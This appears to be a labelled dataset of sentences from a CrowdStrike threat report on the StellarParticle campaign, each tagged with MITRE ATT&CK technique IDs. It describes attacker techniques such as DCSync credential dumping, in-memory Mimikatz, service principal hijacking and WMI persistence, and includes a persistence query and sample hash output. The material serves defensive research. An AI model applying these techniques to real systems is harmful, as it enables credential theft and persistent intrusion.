{"sentence": "By examining RDP Bitmap Cache files, CrowdStrike was able to demonstrate that the threat actor had opened Chrome and exported all of the user’s saved passwords as plaintext in a CSV file during these sessions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Figure 4. RDP Bitmap Cache reconstruction showing exportation of Chrome passwords In addition, the threat actor visited sensitive websites that the user had access to, which in one instance allowed them to browse and download a victim’s customer list.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "After this, the threat actor navigated to the user’s Chrome history page and deleted the specific history items related to threat actor activity, leaving the rest of the user’s Chrome history intact.", "labels": ["T1070.004"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This threat actor abused access to accounts in the Cloud Solution Partner’s environment with legitimate delegated administrative privileges to then gain access to several customers’ O365 environments.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "By analyzing Azure AD sign-ins, CrowdStrike was able to use known indicators of compromise (IOCs) to identify several threat actor logins to customer environments.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike also identified a limitation within Microsoft’s Delegated Administration capabilities for Microsoft Cloud Solution Partners.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While a normal O365 administrator can be provided dozens of specific administrative roles to limit the privileges granted, this same degree of customization cannot be applied to Microsoft Cloud Solution Partners that use the delegated administrator functionality in O365.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The Helpdesk agent role provides very limited access that is equivalent to a password admin role, whereas the Admin agent role provides broad access more equivalent to global administrator.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The Windows User Access Logging (UAL) database is an extremely powerful artifact that has played an instrumental role in the investigation of StellarParticle-linked cases.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In particular, UAL has helped our responders identify earlier malicious account usage that ultimately led to the identification of the aforementioned TrailBlazer implant and Linux version of the GoldMax variant.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The UAL database is available by default on Server editions of Windows starting with Server 2012.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "UAL contains information on the type of service accessed, the user that accessed the service and the source IP address from which the access occurred.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "One of the most useful roles recorded by UAL is the File Server role, which includes SMB access, though other role types can also be very helpful.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In multiple StellarParticle-related cases, because the threat actor used the same set of accounts during their operations in the environment, CrowdStrike was able to identify previous malicious activity going back multiple years, based solely on UAL data.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Even though it’s only available on Server 2012 and up, UAL can still be used to trace evidence of threat actor activity on legacy systems as long as the activity on the legacy system involves some (deliberate or unintentional) access to a 2012+ system.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "For example, in addition to tracking SMB activity, UAL databases on Domain Controllers track Active Directory access.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This allowed CrowdStrike to demonstrate that a given user account was also authenticating to Active Directory from a given source IP address two years prior.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Because the user account was known to have recently been abused by the threat actor, and the source IP of the system in question was not one that account would typically be active on, the investigation led to the source system and ultimately resulted in the timeline of malicious activity being pushed back by years, with additional compromised systems even being discovered still running unique malware from that time period.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TrailBlazer and GoldMax Throughout StellarParticle-related investigations, CrowdStrike has identified two sophisticated malware families that were placed on victim systems in the mid-2019 timeframe: a Linux variant of GoldMax and a completely new family CrowdStrike refers to as TrailBlazer.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TrailBlazer Attempted to blend in with a file name that matched the system name it resided on Configured for WMI persistence (generally uncommon in 2019) Used likely compromised infrastructure for C2 Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence.", "labels": ["T1036.005", "T1047", "T1071.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The malware shares high-level functionality with other malware families.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In particular, the use of random identifier strings for C2 operations and result codes, and attempts to hide C2 communications in seemingly legitimate web traffic, were previously observed tactics, techniques and procedures (TTPs) in GoldMax and SUNBURST.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TrailBlazer persists on a compromised host using WMI event subscriptions4 — a technique also used by SeaDuke — although this persistence mechanism is not exclusive to COZY BEAR.5 WMI event filter SELECT * FROM __", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "InstanceModificationEvent", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": ">= 180 AND TargetInstance.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "SystemUpTime < 480 WMI Event consumer (CommandLineTemplate) C:\\Program Files (x86)\\Common Files\\Adobe\\<FILENAME>.exe Filter to consumer binding CommandLineEventConsumer.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Name=\"<GUID1>\"|__EventFilter.Name=\"<GUID2>\" Table 1.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TrailBlazer WMI Persistence In the obfuscated example above, TrailBlazer (<FILENAME>.exe) would be executed when the system’s uptime was between 180 and 480 seconds.", "labels": ["T1047"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "GoldMax (Linux variant) Attempted to blend in with a file name that matched the system name it resided on Configured for persistence via a crontab entry with a @reboot line Used likely compromised infrastructure for C2 GoldMax was first observed during post-exploitation activity in the campaign leveraging the SolarWinds supply chain attacks.", "labels": ["T1036.005"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Previously identified samples of GoldMax were built for the Windows platform, with the earliest identified timestamp indicating a compilation in May 2020, but a recent CrowdStrike investigation discovered a GoldMax variant built for the Linux platform that the threat actor deployed in mid-2019.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This variant extends the backdoor’s known history and shows that the threat actor has used the malware in post-exploitation activity targeting other platforms than Windows.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The very few additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding evasion of detections.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additionally, the threat actor used the nohup command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Crontab entry for GoldMax persistence Enumeration Tools/Unique Directory Structure Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While the script’s contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In each instance the tool was used, Shellbags data indicated that directories with random names of a consistent length were navigated to by the same user that ran the tool.", "labels": ["T1083"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "After two levels of randomly named directories, Shellbags proved the existence of subdirectories named after the FQDNs for the victims’ various domains.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "To date, the names of the directories have always been formed from lowercase alphanumeric characters.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This evidence typically came from a UserAssist entry for wscript.exe, as well as RecentApps entries for wscript.exe (that would also include the VBScript filename).", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In addition, the Jump List for wscript.exe contained evidence of the VBScript files.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Two examples are env.vbs and WinNet.vbs.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Internal Wiki Access Across multiple StellarParticle investigations, CrowdStrike identified unique reconnaissance activities performed by the threat actor: access of victims’ internal knowledge repositories.6 Wikis are commonly used across industries to facilitate knowledge sharing and as a source of reference for a variety of topics.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While operating in the victim’s internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor’s wiki access could be considered an extension of “Credential Hopping” described earlier.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor established RDP sessions to internal servers using privileged accounts and then accessed the wiki using a different set of credentials.", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "At this time, the malicious access of internal wikis is an information gathering technique that CrowdStrike has only observed in StellarParticle investigations.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike was able to identify the wiki access primarily through forensic analysis of the internal systems used by the threat actor.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Given the threat actor’s penchant for clearing browser data, organizations should not rely upon the availability of these artifacts for future investigations.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike recommends the following best practices for internal information repositories: Enable detailed access logging Ensure logs are centralized and stored for at least 180 days Create detections for anomalous activity such as access from an unusual location like a server subnet Enable MFA on the repository site, or provide access via Single Sign On (SSO) behind MFA O365 Built-in Service Principal Hijacking The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass to circumvent the execution policy.", "labels": ["T1021.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victim’s O365 tenant and began performing enumeration queries.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These queries were recorded in text-based logs that existed under the path C:\\Users\\<user>\\AppData\\Local\\Microsoft\\Office365\\Powershell\\. Similar logs (for Azure AD instead of O365) can be found under the path:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The logs contained commands issued and the count of the results returned for a specific command.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The commands included enumeration queries such as: ListAccountSkus ListPartnerContracts ListServicePrincipals ListServicePrincipalCredentials ListRoles ListRoleMembers ListUsers ListDomains GetRoleMember GetPartnerInformation GetCompanyInformation In this case, however, the most significant and concerning log entry was one that indicated the command AddServicePrincipalCredentials was executed.", "labels": ["T1033"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "By taking the timestamp that the command was executed via the PowerShell logs on the local system, CrowdStrike analyzed the configuration settings in the victim’s O365 tenant and discovered that a new secret had been added to a built-in Microsoft Azure AD Enterprise Application, Microsoft StaffHub Service Principal, which had Application level permissions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Further, the newly added secret was set to remain valid for more than a decade.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This data was acquired by exporting the secrets and certificates details for each Azure AD Enterprise Application.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The Service Principal (now renamed to Microsoft Teams Shifts) had the following permissions at the time the configuration settings were collected: Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All Shift.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Shift.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite Shift.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Team.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite Team.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All User.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All User.ReadWrite.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All WebHook.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All CrowdStrike was unable to find Microsoft documentation, but based on open-source research,7 this application likely had the following permissions around the time of registration: Mail.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Group.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All Files.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "All The most notable permissions above are the Mail.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read and Member.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "ReadWrite permissions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "By running the commands from within the victim’s environment, MFA requirements were bypassed due to conditional access policies not covering Service Principal sign-ins at this point of time.8 However, as explained earlier, the threat actor managed to continue to access the victim’s cloud environment even when the victim enforced MFA for all connections regardless of source.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While the bulk of the evidence for this activity came from the text-based O365 PowerShell logs, the NTUSER.DAT registry hive for the user that was running the PowerShell cmdlets also included information on the accounts that were used to authenticate to the cloud.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This information was stored under the registry path.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Example registry entry showing target O365 email accounts The same WSMan connection string was also located in the user’s NTUSER.DAT registry hive under the path: Figure 7.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This information was logged under Event ID 6.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Below is an example of what the event included: Figure 8.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Windows Event Log entry showing connection to O365 tenants O365 Company Service Principal Manipulation", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor also deployed several layers of persistence utilizing both pre-existing and threat actor-created Service Principals with the ultimate goal of gaining global access to email.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Attacker-created Service Principal First, the threat actor used a compromised O365 administrator account to create a new Service Principal with a generic name.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This Service Principal was granted company administrator privileges.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "From there, the threat actor added a credential to this Service Principal so that they could access the Service Principal directly, without use of an O365 user account.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These actions were recorded in Unified Audit Logs with the following three operation names: Add service principal Add member to role Add service principal credentials.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Update Service Principal Company-Created Service Principal Hijacking Next, the threat actor utilized the threat actor-created Service Principal to take control of a second Service Principal.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This now compromised company-created Service Principal had mail.read graph permissions consented on behalf of all users within the tenant.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This action was recorded by just one operation type in Unified Audit Logs.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Mail.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Read Service Principal Abuse Finally, the threat actor utilized the compromised Service Principal with the assigned mail.read permissions to then read emails of several different users in the company’s environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike was able to use the Unified Audit Logs’ (UAL) MailItemsAccessed operation events to see the exact emails the threat actor viewed, as the majority of the users in the tenant were assigned O365 E5 licenses.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "When performing analysis on the UAL, CrowdStrike used the ClientAppId value within the MailItemsAccessed operation and cross-correlated with the Application ID of the compromised service principal to see what activities were performed by the threat actor.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "O365 Application Impersonation Another consistent TTP identified during StellarParticle investigations has been the abuse of the ApplicationImpersonation9 role.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "When this role was assigned to a particular user that was controlled by the threat actor, it allowed the threat actor to impersonate any user within the O365 environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These impersonated events are not logged verbosely by the Unified Audit Logs and can be difficult to detect.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While the assignment of these ApplicationImpersonation roles were not logged in the Unified Audit Logs, CrowdStrike was able to identify this persistence mechanism via the management role configuration settings, which can be exported with the Exchange PowerShell command: Get-ManagementRoleAssignment -Role ApplicationImpersonation.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike then analyzed the exported configuration settings and identified several users (not service accounts) that the threat actor likely gave direct ApplicationImpersonation roles during the known periods of compromise.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "As tasklist uses WMI “under the hood,” this activity was captured by Falcon as SuspiciousWmiQuery events that included the query and the source system.", "labels": ["T1047"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "A sample of the information included with this event is below: Figure 9.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Event ID 10028 showing failed execution of remote tasklist This remote process listing was consistently used by the threat actor targeting the same or similar lists of remote systems, and the owners of the targeted systems also happened to be the individuals with cloud access that the threat actor was interested in.", "labels": ["T1057"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "FTP Scanning/Identity Knowledge", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In one instance, after being evicted from a victim environment, the threat actor began probing external services as a means to regain access, initially focusing on (S)FTP servers that were internet-accessible.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Logs on the servers indicated that the threat actor attempted to log in with multiple valid accounts and in several cases was successful.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This likely was an exercise in attempting to identify misconfigured (S)FTP accounts that also had shell access, similar to what’s described in the Credential Hopping section earlier.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Some of the accounts used were not in the victim’s Active Directory, as these were accounts for customers of the victim and stored in a separate LDAP database.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "After confirming the FTP accounts did not provide shell access into the environment, the threat actor began attempting to connect into the environment via VPN.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor attempted to log in to the VPN using several user accounts but was prevented from connecting, either due to not having the correct password, or due to having the correct password but not getting past the recently implemented MFA requirement.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This resulted in a prompt being displayed to the threat actor that included an MFA setup link.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor subsequently set up MFA for the account and successfully connected to the victim’s network via VPN.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TA Masquerading of System Names During the attempted and successful VPN authentications described above, the threat actor ensured the hostname of their system matched the naming convention of hostnames in the victim’s environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This again showed a strong knowledge of the victim’s internal environment on the part of the threat actor.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Not only did the masqueraded hostnames follow the correct naming convention from a broad perspective, they were also valid in terms of what would be expected for the user account the threat actor leveraged (i.e., in terms of the site name and asset type indicated in the hostname).", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This masqueraded hostname technique has been observed at multiple StellarParticle-related investigations.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Credential Theft Using Get-ADReplAccount", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In one example, the threat actor connected into the victim’s environment via a VPN endpoint that did not have MFA enabled.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Once connected to the VPN, the threat actor connected via Remote Desktop to a Domain Controller and copied the DSInternals10 PowerShell module to the system.", "labels": ["T1021.001", "T1570"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor subsequently ran the DSInternals command Get-ADReplAccount targeting two of the victim’s domains.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "A common name for this particular technique is DCSync.11 An example output from Get-AdReplAccount is below: DistinguishedName: CN=TestUser,OU=Admins,OU=Users,DC=demo,DC=local Sid: S-1-5-21-1432446722-301123485-1266542393-2012 Guid: 12321930-7c05-4011-8a3e-e0b9b6e04567 SamAccountName: TestUser SamAccountType: User UserPrincipalName: TestUser@demo.local PrimaryGroupId: 513 SidHistory: Enabled: True UserAccountControl:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "NormalAccount AdminCount: True Deleted: False LastLogonDate: 12/2/2021 1:41:46 PM DisplayName: TestUser GivenName: Test Surname: User Description: Admin Account ServicePrincipalName: SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected, SelfRelative Owner: S-1-5-21-1432446722-301123485-1266542393-512 Secrets NTHash: 84a058676bb6d7de4237e18f09b91156 LMHash: NTHashHistory: Hash 01: 84a058676bb6d7de4237e18f09b91156 Hash 02: e047ebb3b7c463928c928fca95ac0ac8 Hash 03: 6dc3cdb3e559ef00d3521351ace7477e Hash 04: a88355849f35fe7336de23a4ca3e6a9e Hash 05: de9bde95677672295349aa6e1e857704 LMHashHistory:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "4096 AES128_CTS_HMAC_SHA1_96 Key: c38dfbd6c00b5f3b010a07f9e824fc38 Iterations: 4096 DES_CBC_MD5 Key: 000039a500000551 Iterations: 4096 DES_CBC_CRC Key: 000039a500000551 Iterations: 4096 ServiceCredentials: Salt:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "demo.localTestUser DefaultIterationCount: 4096 Flags: 0 WDigest: Hash 01: 83ed141ab0eaf1ff7694147ba97e1994 Hash 02: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 03: 0c228c5816a79e561d999d489499a12a Hash 04: 83ed141ab0eaf1ff7694147ba97e1994 Hash 05: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 06: 4e7c5ec6ffb6100f0c7f0bc57749bc93 Hash 07: 83ed141ab0eaf1ff7694147ba97e1994 Hash 08: 10265b08a3bb710da516832eaf64368a Hash 09: 10265b08a3bb710da516832eaf64368a Key Credentials: Credential Roaming Created: Modified: Credentials: Figure 10.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Get-ADReplAccount example output When executing the Get-ADReplAccount command, the threat actor specified the AD context to be targeted via the NamingContext parameter.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This was necessary, as the threat actor was targeting multiple domains.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The resulting output of each command was redirected to a text file and compressed as zip archives before exfiltration.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The fact that Get-ADReplAccount command includes not only the current NTLM hashes but also the hash history (i.e., hashes of previous passwords used by a user account) meant that the threat actor also had the ability to discover accounts that either reused the same passwords or used similar passwords when the account password was changed.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Credential Refresh On some investigations, the dwell time of the threat actor spanned years.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "To combat this, the threat actor periodically “refreshed” their credential set by performing credential theft activities in an already compromised environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory.", "labels": ["T1003.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256.", "labels": ["T1027"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the script’s execution was logged automatically due to the use of specific keywords.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In addition to refreshing the threat actor’s credentials, the threat actor would also refresh their understanding of the victim’s AD environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
